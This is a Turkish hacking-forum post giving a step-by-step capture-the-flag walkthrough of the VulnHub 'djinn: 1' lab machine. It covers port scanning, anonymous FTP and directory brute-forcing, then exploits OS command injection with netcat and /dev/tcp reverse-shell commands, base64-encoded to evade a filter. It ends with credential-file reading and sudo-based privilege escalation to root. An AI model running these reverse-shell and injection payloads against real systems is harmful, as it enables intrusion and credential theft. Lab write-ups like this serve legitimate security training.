djinn: 1 Zafiyetli Makine Çözümü //Siber Güvenlik Kulübü

ratio

Kıdemli Üye
6 Tem 2013
2,456
6
Turk
djinn: 1 Zafiyetli Makine Çözümü //Siber Güvenlik Kulübü

Seviye: Orta

Görev: Root kullanıcısının ayrıcalıklarını yükseltmemiz gereken ve mücadeleyi tamamlamak için 2 bayrak bulmak zorunda olduğumuz başka bir CTF.

Makine 18 Kasım 2019’da 0xmzfr tarafından yayınlanmıştır.

Yüklemek için siteyi ziyaret edebilirsiniz.

Bağlantı: https://www.vulnhub.com/entry/djinn-1,397/

OVA şeklinde hazır olarak kurabilirsiniz.

Örn: Virtual Machine --> File --> Open --> djinn

Başlayalım.



Çözüm

Öncelikle ‘netdiscover’ yazarak ağdaki IP’leri listeliyoruz.

Kod:
netdiscover

Daha sonra nmap(network mapping)(ağ haritalandırma) aracı yardımıyla çözeceğimiz makinenin IP’sindeki açık portları listeliyoruz.

Buradaki –p- parametresi aracın bütün portları (65535) taramasını sağlar.

nmap –p- IP_ADRESI

Kod:
nmap –p- 192.168.1.48

pRi1Fc.png


21 /TCP portunun açık olduğunu gördüğümüz için, sunucuya anonim olarak girmeyi deniyoruz.

Kod:
ftp 192.168.1.48

Kod:
anonymous



Giriş başarılı, şimdi de dizinde listeleme yapıyoruz.

Kod:
ls

JTz2hU.png


Dosyaları okumak için indiriyoruz ve açıp okuyoruz.

PGbJXR.png


DUPo9V.png


İlkinin ‘creds’den kimlik bilgileri olduğunu düşünüp, ikincisi için makinenin portuna bakıyoruz.

Kod:
192.168.1.48/1337

Sürekli yenilediğimizde site yüklenir gibi oluyor. Ancak hata veriyor ve yazıyı okuyamıyoruz. Bu yüzden netcat ile ip’deki portu tarayalım.

Netcat nedir? Nasıl Kullanılır? (Netcat, ağı okuyan ve TCP veya UDP iletişim kurallarını kullanarak ağ bağlantılarını yazan bir hizmetidir. ncip_adresiport_numarası verilerek kullanılabilir.)

Kod:
nc 192.168.1.48 1337

Ve11TK.png


Hediyesini vermek için basit matematik sorularını 1000 kere cevaplamamızı istiyor. Burada bizlere bir şey verip vermeyeceğini bilmediğimiz için 1000 kez cevaplamanın da zaman alacağı için bırakıyoruz.

Ayrıca portları bulduğumuz yerde service adının waste olduğunu görüyoruz. (waste: boşa harcamak)



Bulduğumuz portlar arasından diğerini gözden geçiriyoruz.

Kod:
192.168.1.48:7331

Tarayıcıdan porta baktığımızda bu sayfa karşımıza geliyor.

di3NqS.png


Sitenin kaynak kodlarınıda görüntüledik ancak kullanabileceğimiz bir bilgi edinemedik. Şimdi sitede gizli dizinler var mı gobuster aracı ile ona bakıyoruz.

Gobuster nedir? (Gobuster biz dizin keşfi yapan brute-force (kaba-kuvvet) saldırı programıdır.)

NOT: Gobuster’ınız yoksa aşağıdaki kodu yazarak yükleyebilirsiniz.

Kod:
sudo apt-get install gobuster

Gobuster’ı edindikten sonra taramaya başlıyoruz.

Kod:
gobuster dir -u http://192.168.1.48:7331 -w /usr/share/wordlists/dirb/big.txt

Buradaki –u ( url vereceğinizi ) -w ( wordlist vereceğinizi ) belirtir.

VjVvP0.png


/genie ve /wish adlı iki dizin buldu, kontrol ediyoruz.

/genie’ye giriş yapamadığımız için bir şey elde edemiyoruz ve diğerini kontrol ediyoruz.

jipjW5.png


/wish dizininde “Beni buldun, bir dilek dile ve bütün dileklerin gerçek olsun.” gibi bir yazı ve bir adet text girebileceğimiz bölüm var.

Kod:
id

Yukarıdaki komutu yazarak deniyoruz ve dönüt alıyoruz, yani komut işliyor. Buradan text bölümünün OS Komut Enjeksiyonu olduğunu anlıyoruz.

Netcat kullanarak Reverse Shell çalıştırmayı deniyoruz.

Öncelikle, aşağıdaki komutu yazarak portu dinliyoruz.

Kod:
nc –nlvp 1234

Daha sonra web sayfasındaki forma giderek aşağıdaki komutu yazıyoruz.

Kod:
nc -e /bin/sh 192.168.1.48 1234

Buradaki –e komutu eğer bağlantı olursa sonrasında program çalıştığında STDIN ve STDOUT ile iletişim kurmak için kullanılıyor.

Komutu denedikten sonra hata “Yanlış kelimeleri seçtiniz” gibi bir hata aldık.

s981Ow.png


Base64 kodlarını kullanabildiğimizi fark edince, yukarıdaki komutumuzu aşağıdaki komut ile koda dönüştürüyoruz.

Kod:
echo "bash -i >& /dev/tcp/192.168.1.62/1234 0>&1" | base64

Buradaki echo devamındakini yazdırmak için,

bash kabuğu çalıştırmak için,

/dev/tcp - bu dosyaya yazdığınız verileri ağ üzerinden gönderir

/dev/tcp/192.168.1.62/1234 - bu kısımda geçerli bir ip ve port bulunuyorsa, kabuk karşılık gelen sokete bir TCP bağlantısı açmaya çalışır.

| base64 komutu ise yazdığımız kodu base64’e çevirir.

Çıktı: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNjIvMTIzNCAwPiYxCg==

Kodu girmeden önce belirlediğimiz portu netcat ile dinliyoruz.

Kod:
nc –lvp 1234

Kodu aşağıdaki gibi siteye giriyoruz.

Kod:
echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuNDggMTIzNA== | base64 -d | bash

Buradaki base64 –d ise echo ile yazdırdığımız base64 kodunu, decode eder ve eski haline çevirir.

Ve bağlantı kuruyoruz. :)

P1nQmX.png


Daha sonra aşağıdaki komutu yazarak dosyaları listeliyoruz.

Kod:
ls

Aşağıdaki komutu yazarak app.py dosyasını anlamlı bir şey var mı diye okuyoruz.

Kod:
cat app.py

Credentials(kimlik bilgileri)’ın bulunduğu dizinin yazdığını fark ediyoruz.

CREDS = "/home/nitish/.dev/creds.txt"

Dizini ve cat komutunu kullanarak txt dosyasını okuyoruz.

Kod:
cat /home/nitish/.dev/creds.txt

Bize böyle bir çıktı veriyor.

Kod:
nitish:p4ssw0rdStr3r0n9

Nitish olarak giriş yapmak için bir bash kabuğu çağırıyoruz ve onu yazacağımız phyton kodu ile TTY kabuğuna çeviriyoruz.

Kod:
bash

Kod:
python -c 'import pty;pty.spawn("/bin/sh")'

Daha sonra az önce nitish kullanıcısından elde ettiğimiz bilgileri giriyoruz.

Kod:
nitish

Kod:
p4ssw0rdStr3r0n9

Daha sonra nitish’inhome klasörüne giderek user.txt’yi okuyoruz.

Kod:
cd ..

Kod:
cd ..

Kod:
cd home/nitish

Kod:
ls

Kod:
cat user.txt

Çıktı: 10aay8289ptgguy1pvfa73alzusyyx3c=

pINYg9.png


Bize bu çıktıyı verdi, base64 kodu olduğunu anladıktan sonra decode ettik, pek anlamlı bulmadığım aşağıdaki çıktıyı verdi.

�F��ͼ��`�쵦���v���2��

Daha sonra biraz araştırdıktan sonra flag olarak bunu yapmışlar ve ilk bayrağımızı bulmuş olduk.

7Hfkz6.png


Şimdi ikinci bayrağı bulmak için işe koyuluyoruz, öncelikle kullanıcı izinlerini kontrol ediyoruz.

Kod:
su –l

Burada genie diye bir script oluşturulduğunu ve şifresiz olarak sam’in kullanılabildiğini görüyoruz.

Kod:
genie

Kod:
genie –h

5tsUaE.png


Birazcık inceledikten sonra aşağıdaki komut ile sam kullanıcısına geçiyoruz.

Kod:
sudo -u sam genie -cmd new

whoami diyerek kim olduğumuza baktık ve sam kullanıcısındayız. Daha sonra izinlerini listeliyoruz.

Kod:
sudo –l

/root/lago da şifre olmadığını gördük ve giriş yapıyoruz.

Kod:
sudo –u root /root/lago

Buradaki –u user(kullanıcı)’ı belirtir. Root olarak root dizinindeki lago’yu çalıştırdık.

Daha sonra buradaki seçenekleri denemeye başladık.

2. seçeneği seçip num olarak sayıyı girdiğimizde root kullanıcısına erişmiş olduk.

sW3fX2.png


Daha sonra root kullanıcısı olarak bir kabuk çalıştırıyoruz ve ana dizine gidiyoruz.

Kod:
bash

Kod:
su root

Kod:
cd

Daha sonra listeleme yapıyoruz ve proof.sh isimli scripti görüyoruz.

Kod:
ls

Aşağıdaki komutu yazarak scripti çalıştırıyoruz ve bayrağı bulduk.

Kod:
./proof.sh

EyJKWq.png




Güzel bir makine çözümüydü, umarım beğenmişsinizdir.



“P4RS hocama makine çözümündeki yardımları için teşekkür ederim. :)
 
Son düzenleme:

ratio

Kıdemli Üye
6 Tem 2013
2,456
6
Turk
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.